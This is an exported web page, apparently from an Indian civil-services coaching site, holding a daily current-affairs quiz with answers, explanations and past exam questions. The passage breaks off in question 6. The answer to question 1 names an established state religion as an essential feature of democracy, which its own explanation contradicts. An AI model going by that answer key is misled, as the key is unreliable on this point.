{"id":2380,"date":"2025-09-15T14:39:00","date_gmt":"2025-09-15T14:39:00","guid":{"rendered":"https:\/\/iasquest.com\/?p=2380"},"modified":"2026-02-11T18:53:11","modified_gmt":"2026-02-11T18:53:11","slug":"daily-current-affairs-15-09-2025","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/daily-current-affairs-15-09-2025\/","title":{"rendered":"Daily Current Affairs \u2013 15-09-2025"},"content":{"rendered":"\n<p class=\"has-black-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1. Which among the following are considered as essential features of a democratic rule?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\">1. Hereditary head of a State<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">2. Separation of Powers<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\">3. Existence of a State Religion<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\">4. Free and Fair Elections<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\"><strong>Select the correct answer using the code given below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\">(b) 1, 2 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\">(c) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\">(d) 1, 2, 3 and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\"><strong>Answer: (c) 2 and 3 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-12 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-13 wp-block-paragraph\"><strong>In NEWS:<\/strong> Is more democracy the solution to the crises within democracy?<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-14 wp-block-paragraph\"><strong>Features of Democratic Rule<\/strong><\/p>\n\n\n\n<ol class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-15\">\n<li><strong>Popular Sovereignty<\/strong> \u2013 Ultimate power rests with the people; the government derives authority from citizens.<\/li>\n\n\n\n<li><strong>Rule of Law<\/strong> \u2013 Everyone, including rulers, is subject to the law; no arbitrary exercise of power.<\/li>\n\n\n\n<li><strong>Free &amp; Fair Elections<\/strong> \u2013 Regular, periodic elections based on universal adult suffrage.<\/li>\n\n\n\n<li><strong>Majority Rule with Minority Rights<\/strong> \u2013 Decisions follow majority, but rights of minorities are protected.<\/li>\n\n\n\n<li><strong>Fundamental Rights &amp; Freedoms<\/strong> \u2013 Protection of speech, equality, association, religion, etc.<\/li>\n\n\n\n<li><strong>Separation of Powers<\/strong> \u2013 Legislature, executive, and judiciary operate independently with checks and balances.<\/li>\n\n\n\n<li><strong>Independent Judiciary<\/strong> \u2013 Neutral body to uphold the Constitution and resolve disputes.<\/li>\n\n\n\n<li><strong>Political Pluralism<\/strong> \u2013 Existence of multiple parties and ideologies; right to opposition.<\/li>\n\n\n\n<li><strong>Decentralisation<\/strong> \u2013 Distribution of power to different levels of government (federalism\/local self-government).<\/li>\n\n\n\n<li><strong>Accountability &amp; Transparency<\/strong> \u2013 Government is answerable to the people through parliament, courts, and elections.<\/li>\n\n\n\n<li><strong>Equality<\/strong> \u2013 Equal status and opportunity irrespective of caste, creed, gender, or class.<\/li>\n\n\n\n<li><strong>Civil Society &amp; Free Press<\/strong> \u2013 Vibrant media and civic organisations act as watchdogs.<\/li>\n<\/ol>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-16 wp-block-paragraph\"><strong>Hence 2 and 3 are correct.<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2021)<\/strong> <br><br><strong>Q. Which one of the following factors constitutes the best safeguard of liberty in a liberal democracy?<\/strong> <br><br>(a) A committed judiciary <br>(b) Centralization of powers <br>(c) Elected government <br><strong>(d) Separation of powers<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-17 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/indianexpress.com\/article\/upsc-current-affairs\/upsc-essentials\/is-more-democracy-the-solution-to-the-crises-within-democracy-10246146\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/indianexpress.com\/article\/upsc-current-affairs\/upsc-essentials\/is-more-democracy-the-solution-to-the-crises-within-democracy-10246146\/<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-18 wp-block-paragraph\"><strong>2. Which one of the following situations best reflects the &#8220;Foreign Capital Paradox&#8221; often talked about in the media recently with reference to India?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\">(a) India\u2019s GDP growth is high but foreign capital inflows such as FDI and FPI remain subdued.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-20 wp-block-paragraph\">(b) India\u2019s GDP growth declines sharply, while foreign capital inflows increase significantly.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\">(c) India receives higher foreign remittances from abroad, but foreign portfolio investments show negative growth.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-22 wp-block-paragraph\">(d) India\u2019s trade deficit narrows, but foreign direct investment inflows decline steadily.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-23 wp-block-paragraph\"><strong>Answer: (a) India\u2019s GDP growth is high but foreign capital inflows such as FDI and FPI remain subdued.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-25 wp-block-paragraph\"><strong>In NEWS: <\/strong>Why foreign investors are not bullish on India<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\"><strong>Foreign Capital Paradox<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\">The Foreign Capital Paradox describes the contrast wherein India\u2019s economy is growing rapidly (7\u20138% GDP growth), but foreign capital inflows such as FDI and FPI remain subdued or even declining. Normally, faster growth should attract more foreign investment, making the trend paradoxical. <strong>Hence option (a) is correct.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-28 wp-block-paragraph\"><strong>Current Context<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-29\">\n<li>In 2024-25, net capital flows were just $18.3 billion \u2014 the lowest since the global financial crisis of 2008-09.<\/li>\n\n\n\n<li>Earlier, in 2007-08, inflows touched $107.9 billion.<\/li>\n\n\n\n<li>Even in April\u2013June 2025, inflows fell by over 40% year-on-year, despite GDP growth at 7.8%.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\"><strong>Causes of the Paradox<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-31 wp-block-paragraph\"><strong>Shift in Investor Behaviour<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-32 wp-block-paragraph\">Private equity &amp; venture capital investors in e-commerce, healthcare, and green energy are now \u201ccashing out\u201d via IPOs or sales, instead of reinvesting.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-33 wp-block-paragraph\"><strong>Weak Portfolio Flows<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-34 wp-block-paragraph\">FPIs remain cautious due to global interest rate hikes, valuation concerns, and corporate earnings risks.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-35 wp-block-paragraph\"><strong>Trade &amp; Geopolitical Uncertainty<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-36 wp-block-paragraph\">Rising trade barriers, tariff threats (e.g., by the US), and geopolitical tensions dampen investor confidence.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-37 wp-block-paragraph\"><strong>Domestic Factors<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-38 wp-block-paragraph\">Issues of regulatory uncertainty, complex taxation, and delays in project clearances also add to hesitancy.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-39 wp-block-paragraph\"><strong>Implications<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-40\">\n<li>Balance of Payments (BoP): Large merchandise trade deficits require capital inflows; weak inflows can stress BoP.<\/li>\n\n\n\n<li>Forex Reserves: Sustained low inflows may reduce reserve buffers.<\/li>\n\n\n\n<li>Rupee Stability: Pressure<\/li>\n\n\n\n<li>e on the rupee if current account deficits widen without matching capital inflows.<\/li>\n\n\n\n<li>Investment Climate: Signals risk perception despite high growth, which can deter long-term foreign investors.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-41 wp-block-paragraph\"><strong>Way Forward \/ Policy Suggestions<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-42\">\n<li>Strengthen Ease of Doing Business \u2192 streamline approvals, improve contract enforcement.<\/li>\n\n\n\n<li>FDI Policy Reforms \u2192 open more sectors, ensure stable regulations.<\/li>\n\n\n\n<li>Deepen Domestic Capital Markets \u2192 reduce dependence on volatile foreign portfolio flows.<\/li>\n\n\n\n<li>Promote Innovation &amp; Manufacturing (PLI, Make in India, Start-up India) \u2192 attract greenfield investments.<\/li>\n\n\n\n<li>Geopolitical Stability &amp; Trade Diplomacy \u2192 build investor confidence through predictable trade policies.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2022)<\/strong> <br><br><strong>Q. Which one of the following situations best reflects &#8220;Indirect Transfers&#8221; often talked about in the media recently with reference to India?<\/strong> <br><br>(a) An Indian company investing in a foreign enterprise and paying taxes to the foreign country on the profits arising out of its investment. <br>(b) A foreign company investing in India and paying taxes to the country of its base on the profits arising out of its investment. <br>(c) An Indian company purchases tangible assets in a foreign country and sells such assets after their value increases and transfers the proceeds to India. <br><strong>(d) A foreign company transfers shares and such shares derive their substantial value from assets located in India.<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-43 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/indianexpress.com\/article\/explained\/explained-economics\/why-foreign-investors-are-not-bullish-on-india-10236408\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/indianexpress.com\/article\/explained\/explained-economics\/why-foreign-investors-are-not-bullish-on-india-10236408\/<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-44 wp-block-paragraph\"><strong>3. Which of the following urban indicators are used to assess India\u2019s progress under Sustainable Development Goal 11 (SDG 11)?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-45 wp-block-paragraph\">1. Proportion of slum population<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-46 wp-block-paragraph\">2. PM 2.5 air pollution levels<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-47 wp-block-paragraph\">3. Access to piped water<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-48 wp-block-paragraph\">4. Availability of public transport<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-49 wp-block-paragraph\"><strong>Select the correct answer using the code given below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-50 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-51 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-52 wp-block-paragraph\">(c) 1, 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-53 wp-block-paragraph\">(d) 1, 2, 3 and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-54 wp-block-paragraph\"><strong>Answer: (d) 1, 2, 3 and 4<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-55 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-56 wp-block-paragraph\"><strong>In NEWS: <\/strong>India\u2019s progress on key urban indicators has been slow or negative. This marks persistent issues in urban living conditions, infrastructure and governance.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-57 wp-block-paragraph\"><strong>India\u2019s progress in Sustainable Development Goal 11 (SDG 11):<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-58 wp-block-paragraph\">India\u2019s ranking in SDR 2025 improved to 99th among 167 countries, but SDG 11 (sustainable cities) remains weak.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-59 wp-block-paragraph\"><strong>SDG 11 major indicators in India<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-60\">\n<li>Proportion of slum population.<\/li>\n\n\n\n<li>PM 2.5 air pollution levels.<\/li>\n\n\n\n<li>Access to piped water.<\/li>\n\n\n\n<li>Availability of public transport. <strong>Hence all are correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-61 wp-block-paragraph\"><strong>Performance<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-62\">\n<li>Slum population and air pollution stagnated.<\/li>\n\n\n\n<li>Piped water access declined (only 65% in 2022).<\/li>\n\n\n\n<li>Water supply irregular, quality poor (e.g., Mumbai 5 hrs\/day).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-63 wp-block-paragraph\"><strong>Urban Slums<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-64\">\n<li>Nearly 50% slum households in non-pucca homes.<\/li>\n\n\n\n<li>Water supply in slums = 45 LPCD vs govt norm 135 LPCD.<\/li>\n\n\n\n<li>Slum dwellers pay up to 30\u00d7 more for tanker water.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-65 wp-block-paragraph\"><strong>Vulnerabilities<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-66\">\n<li>Urban poor face high pollution &amp; climate risks (floods, landslides).<\/li>\n\n\n\n<li>Inadequate resilience measures increase health &amp; income risks.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-67 wp-block-paragraph\"><strong>Governance Issues<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-68\">\n<li>Urban development is a State subject; cities lack autonomy.<\/li>\n\n\n\n<li>Over half of municipal corporations cannot cover even 50% of their expenses from their own revenue.<\/li>\n\n\n\n<li>Smaller cities lack creditworthiness to attract private investment.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-69 wp-block-paragraph\"><strong>Urban Programmes<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-70\">\n<li>JNNURM &amp; Smart City Mission focus more on large cities &amp; commercial areas.<\/li>\n\n\n\n<li>&lt;20% Smart City projects address water, sanitation, health.<\/li>\n\n\n\n<li>PMAY-U excludes many poor due to weak creditworthiness.<\/li>\n\n\n\n<li>PMAY-U 2.0 offers credit risk guarantees to improve inclusivity.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2016)<\/strong> <br><br><strong>Q. Consider the following statements:<\/strong> <br><br>1. The Sustainable Development Goals were first proposed in 1972 by a global think tank called the \u2018Club of Rome\u2019.<br>2. The Sustainable Development Goals have to be achieved by 2030. <br><br><strong>Which of the statements given above is \/ are correct?<\/strong> <br><br>(a) 1 only <br><strong>(b) 2 only<\/strong> <br>(c) Both 1 and 2 <br>(d) Neither 1 nor 2<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-71 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.gktoday.in\/indias-urban-sustainability-challenges-and-sdg-11-progress\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.gktoday.in\/indias-urban-sustainability-challenges-and-sdg-11-progress\/<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-72 wp-block-paragraph\"><strong>4. With reference to SAMBHAV, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-73 wp-block-paragraph\">1. It is India\u2019s first secure mobile communication platform designed specifically for defence use.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-74 wp-block-paragraph\">2. It operates independently of commercial networks and supports real-time connectivity through 5G-enabled devices.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-75 wp-block-paragraph\">3. The system uses multi-layer encryption to prevent hostile surveillance or cyber-attacks.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-76 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-77 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-78 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-79 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-80 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-81 wp-block-paragraph\"><strong>Answer: (d) 1, 2 and 3<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-82 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-83 wp-block-paragraph\"><strong>In NEWS:<\/strong> The Indian Army deployed its indigenous secure mobile ecosystem, SAMBHAV, during Operation Sindoor, according to Chief of Army Staff Gen Upendra Dwivedi.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-84 wp-block-paragraph\"><strong>SAMBHAV:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-85\">\n<li><strong>Launched in 2023<\/strong> as <strong>India\u2019s first secure mobile communication platform<\/strong> for defence use. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li><strong>Purpose<\/strong>: To provide a trusted, indigenous, and cyber-resilient communication system for armed forces.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-86 wp-block-paragraph\"><strong>Key Features<\/strong>:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-87\">\n<li>Operates <strong>independently of commercial networks<\/strong>, ensuring security.<\/li>\n\n\n\n<li><strong>5G-enabled devices<\/strong> support real-time connectivity. <strong>Hence statement 2 is correct.<\/strong><\/li>\n\n\n\n<li><strong>Multi-layer encryption<\/strong> protects against hostile surveillance, cyber espionage, or cyber-attacks. <strong>Hence statement 3 is correct.<\/strong><\/li>\n\n\n\n<li>Core application <strong>M-Sigma<\/strong> allows encrypted messaging, file sharing, and multimedia exchange.<\/li>\n\n\n\n<li><strong>Network-agnostic<\/strong> \u2013 works securely across multiple communication infrastructures without compromising data integrity.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-88 wp-block-paragraph\"><strong>Significance<\/strong>:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-89\">\n<li>Reduces dependence on foreign platforms like WhatsApp\/Signal\/Telegram.<\/li>\n\n\n\n<li>Strengthens <strong>national security, strategic autonomy, and information warfare resilience<\/strong>.<\/li>\n\n\n\n<li>Critical for modern network-centric warfare and joint-force operations.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2022)<\/strong> <br><br><strong>Q. Consider the following:<\/strong> <br>1. Aarogya Setu <br>2. CoWIN <br>3. DigiLocker <br>4. DIKSHA <br><br><strong>Which of the above are built on top of open-source digital platforms?<\/strong> <br><br>(a) 1 and 2 only <br>(b) 2, 3 and 4 only <br>(c) 1, 3 and 4 only <br><strong>(d) 1, 2, 3 and 4<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-90 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/economictimes.indiatimes.com\/news\/defence\/inside-operation-sindoor-when-the-indian-army-ditched-whatsapp-peers-to-communicate-for-something-made-in-india-sambhav-mobile\/articleshow\/123779172.cms?from=mdr\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/economictimes.indiatimes.com\/news\/defence\/inside-operation-sindoor-when-the-indian-army-ditched-whatsapp-peers-to-communicate-for-something-made-in-india-sambhav-mobile\/articleshow\/123779172.cms?from=mdr<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-91 wp-block-paragraph\"><strong>5. With reference to Koalas, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-92 wp-block-paragraph\">1. They are arboreal marsupial mammals native to India.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-93 wp-block-paragraph\">2. They are currently listed as Endangered in the IUCN Red List.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-94 wp-block-paragraph\">3. Koala Chlamydia Vaccine is the world\u2019s first vaccine approved for a marsupial species.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-95 wp-block-paragraph\"><strong>Which of the statements given above are not correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-96 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-97 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-98 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-99 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-100 wp-block-paragraph\"><strong>Answer: (a) 1 and 2 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-101 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-102 wp-block-paragraph\"><strong>In NEWS: <\/strong>Australia approves first vaccine to save koalas from chlamydia<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-103 wp-block-paragraph\"><strong>Koala Chlamydia Vaccine (2025)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-104\">\n<li><strong>World\u2019s first vaccine<\/strong> approved in Australia to save koalas from <strong>chlamydia<\/strong>. <strong>Hence statement 3 is correct.<\/strong><\/li>\n\n\n\n<li><strong>Chlamydia impact<\/strong> \u2013 causes blindness, infertility, death; in some populations, <strong>50\u201370% infection rates<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-105 wp-block-paragraph\"><strong>Features<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-106\">\n<li>Single dose, no booster needed<\/li>\n\n\n\n<li>Provides <strong>protection + reduces progression + reverses some symptoms<\/strong><\/li>\n\n\n\n<li>Could reduce mortality by ~65%<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-107 wp-block-paragraph\"><strong>Koala:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-108\">\n<li><strong>Scientific Name<\/strong> \u2013 <em>Phascolarctos cinereus<\/em><\/li>\n\n\n\n<li><strong>Type<\/strong> \u2013 Arboreal, marsupial mammal (pouch-bearing).<\/li>\n\n\n\n<li><strong>Distribution<\/strong> \u2013 Native to <strong>Australia<\/strong>, mainly in Queensland, New South Wales, Victoria, and South Australia. <strong>Hence statement 1 is incorrect.<\/strong><\/li>\n\n\n\n<li><strong>Habitat<\/strong> \u2013 Eucalyptus forests and woodlands.<\/li>\n\n\n\n<li><strong>Diet<\/strong> \u2013 Specialist <strong>folivore<\/strong> (feeds mainly on eucalyptus leaves).<\/li>\n\n\n\n<li><strong>IUCN Red List<\/strong> \u2013 <strong>Vulnerable<\/strong> (globally). <strong>Hence statement 2 is incorrect.<\/strong><\/li>\n\n\n\n<li><strong>Australian Status<\/strong> \u2013 Listed as <strong>endangered<\/strong> in eastern Australia (Queensland, New South Wales, ACT) under the EPBC Act (2022).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-109 wp-block-paragraph\"><strong>Threats<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-110\">\n<li>Habitat loss due to urbanization &amp; deforestation<\/li>\n\n\n\n<li>Bushfires (e.g., 2019\u201320 Black Summer)<\/li>\n\n\n\n<li>Climate change (heat stress, drought)<\/li>\n\n\n\n<li>Road kills, dog attacks<\/li>\n\n\n\n<li>Diseases: especially <strong>chlamydia infection<\/strong><\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"602\" height=\"401\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/09\/image-14.jpg\" alt=\"\" class=\"wp-image-2381\" style=\"width:840px;height:auto\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/09\/image-14.jpg 602w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/09\/image-14-300x200.jpg 300w\" sizes=\"auto, (max-width: 602px) 100vw, 602px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2012)<\/strong> <br><br><strong>Q. Which one of the following groups of animals belongs to the category of endangered species?<\/strong> <br><br><strong>(a) Great Indian Bustard, Musk Deer, Red Panda and Asiatic Wild Ass<\/strong> <br>(b) Kashmir Stag, Cheetal, Blue Bull and Great Indian Bustard <br>(c) Snow Leopard, Swamp Deer, Rhesus Monkey and Saras (Crane) <br>(d) Lion-tailed Macaque, Blue Bull, Hanuman Langur and Cheetal<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-111 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/sci-tech\/science\/australia-approves-worlds-first-vaccine-to-save-koalas-from-chlamydia\/article70048638.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/sci-tech\/science\/australia-approves-worlds-first-vaccine-to-save-koalas-from-chlamydia\/article70048638.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-112 wp-block-paragraph\"><strong>6. Consider the following:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-113 wp-block-paragraph\">1. Face masks<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-114 wp-block-paragraph\">2. Cement bags<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-115 wp-block-paragraph\">3. Drip irrigation pipes<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-116 wp-block-paragraph\">4. Insulation materials<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-117 wp-block-paragraph\">5. Food packaging<\/p>\n\n\n\n<p 